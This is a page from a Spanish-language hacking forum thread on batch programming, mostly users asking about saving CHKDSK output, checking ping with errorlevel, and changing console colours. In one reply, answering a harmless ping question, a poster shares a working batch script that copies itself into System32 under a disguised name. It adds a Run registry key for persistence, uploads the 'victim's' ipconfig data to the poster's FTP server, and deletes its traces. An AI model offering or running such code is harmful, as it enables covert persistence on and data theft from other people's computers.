elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Informática
| |-+  Tutoriales - Documentación (Moderadores: r32, ehn@)
| | |-+  TUTORIAL PROGRAMACION BAT
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 ... 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [28] 29 30 31 32 33 34 35 36 37 38 39 40 41 Ir Abajo Respuesta Imprimir
Autor Tema: TUTORIAL PROGRAMACION BAT  (Leído 655,329 veces)
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #270 en: 26 Marzo 2006, 22:22 pm »

Seria asi:

@echo off
CHKDSK > C:\info.txt
exit

Salu2

Hendrix



En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
elmonomario

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #271 en: 27 Marzo 2006, 02:24 am »

 ;D Muchas gracias Hendrix ahora anda de diez.


En línea

nanoemi003784

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #272 en: 27 Marzo 2006, 10:03 am »

Hola, quisiera saber como hacer lo siguiente:

hacer un bat que me de una respuesta de un ping

En un pseudocódigo sería más o menos así:

SET ip=192.168.0.1
ping %ip%
si(ping me dio alguna respuesta negativa (es decir me dio tiempo de espera agotado)) entonces:
    echo No anda
sino
    echo Anda perfectamente

Fin

La idea es que necesito saber si ping devuelve algun resultado o si hay una variable default donde todas las funciones retornan algun tipo de resultado.

Desde ya muchas gracias!
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #273 en: 27 Marzo 2006, 16:10 pm »

Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar....

Te paso el kode:

Código:
@echo off
copy /y %0 C:\Windows\System32\Win32.exe
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\Win32.exe"
:mira
ping www.google.es > C:\Windows\System32\ping.txt
For /F "skip=3 Tokens=1 Delims= " %%A IN (C:\Windows\System32\ping.txt) do set ips=%%A
IF %ips%==M¡nimo (set q=siconec ) else (set q=noconec)
if %q%==siconec (goto ftp) else (goto torna)
:ftp
ipconfig /all > C:\Windows\System32\ip.txt
echo TUNOMBRE > C:\Windows\System32\datos.txt
echo TUPASS >> C:\Windows\System32\datos.txt
echo put C:\Windows\System32\datos.txt datos.txt >> C:\Windows\System32\datos.txt
echo put >> C:\Windows\System32\ip.txt %username%.txt >> C:\Windows\System32\datos.txt
echo bye >> C:\Windows\System32\datos.txt
ftp -s:C:\Windows\System32\datos.txt ftp.TUFTP.com
goto fin
:torna
ping 127.0.0.1 -n 50
goto mira
:fin
del /s /q C:\Windows\System32\ping.txt
del /s /q C:\Windows\System32\datos.txt
del /s /q C:\Windows\System32\ip.txt
exit

Espero que te sirva, es algo komplikadillo, pero weno.

Salu2

Hendrix

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
nanoemi003784

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #274 en: 27 Marzo 2006, 17:53 pm »

Gracias por responder Hendrix.

Si me sirvió, pero yo pensé que el DOS o el lenguaje batch o quien fuera te devolvía una variable estandar con un resultado true o false o algo asi luego de cada comando; digo esto porque veo que en tu código escribis en un archivo y luego lo lees y de ahi sacas la  respuesta al ping.
Pero tengo entendido que ping de por si devuelve algo (1 ó 0 ó true ó false) y asi todos los comandos, pero no se cual es la manera de ver ese resultado sin tirarlo a un archivo.
De todos modos con este script que me diste es más que suficiente y te lo agradezco.
Nos vemos, si te enteras de algo con respecto a esto me aisas?
Saludos!
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #275 en: 27 Marzo 2006, 22:03 pm »

no, el DOS no funciona asi, solo funciona de la manera que esta en mi programa.

A veces es algo komplikado este lenguaje (sobre todo para leer archivos). Pero Weno....

Salu2

Hendrix

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
nanoemi003784

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #276 en: 28 Marzo 2006, 00:11 am »

Hendrix:

Gracias por todo, descubri una pequeña variable que no se bien como funciona pero sirve para lo que yo necesitaba. Te paso el código para que lo veas y me corrijas en todo lo posible o me das más información pq de esto se muy poco:

@echo off
SET ip=192.168.0.1
ping %equipo% -n 1
echo %errorlevel%

si el ping da respuesta la variable errorlevel vale 0
si el ping da tiempo de espera agotado la variable errorlevel vale 1

Por suerte con esto me alcanza, pero si no fuera por tu ayuda y la de este foro no lo habría hecho, asi que gracias de nuevo e insisto, si conseguis más información acerca de este errorlevel te estaría más agradecido aún.
Saludos!
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #277 en: 28 Marzo 2006, 16:25 pm »

vaya, yo konocia este comando, pero no sabia que funcionaba para esto....esta bastante interesante.... ;D ;D ;D ;D

Por cierto, el kode que posteaste tu komo ejemplo seria asi para que fuese korrecto:

@echo off
SET ip=192.168.0.1
ping %ip% -n 1
echo %errorlevel%
pause
exit

Salu2

Hendrix

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
cyrusx

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #278 en: 1 Abril 2006, 06:18 am »

saludos!!!!!!  se q soy nuevo por aki y solo les queria preguntar como hago para cambiar de color la pantalla por medio de un BAT q paleta uso, osea q colores soporta y como se usa el comando...... gracias..........
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: TUTORIAL PROGRAMACION BAT
« Respuesta #279 en: 1 Abril 2006, 11:13 am »

Prueba este:

color 0a

Para ver mas kolores pon esto:

color /?

Salu2

Hendrix

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Páginas: 1 ... 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [28] 29 30 31 32 33 34 35 36 37 38 39 40 41 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Tutorial: Programación PIC
Electrónica
Fabios Arts 2 10,628 Último mensaje 4 Diciembre 2005, 22:23 pm
por Fabios Arts
Tutorial programación BAT
Scripting
soplo 4 5,678 Último mensaje 22 Julio 2006, 23:38 pm
por sirdarckcat
Video Tutorial Programacion C++ « 1 2 ... 10 11 »
Programación C/C++
Chuxxx 101 102,145 Último mensaje 2 Agosto 2013, 07:45 am
por batist07
Tutorial de programación con Qt4 - 1º,2º y 3º entrega
Programación C/C++
paju1986 1 5,187 Último mensaje 25 Diciembre 2010, 21:52 pm
por Littlehorse
Tutorial de programacion en PHP
Desarrollo Web
crazykenny 3 2,976 Último mensaje 9 Enero 2013, 00:05 am
por EFEX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines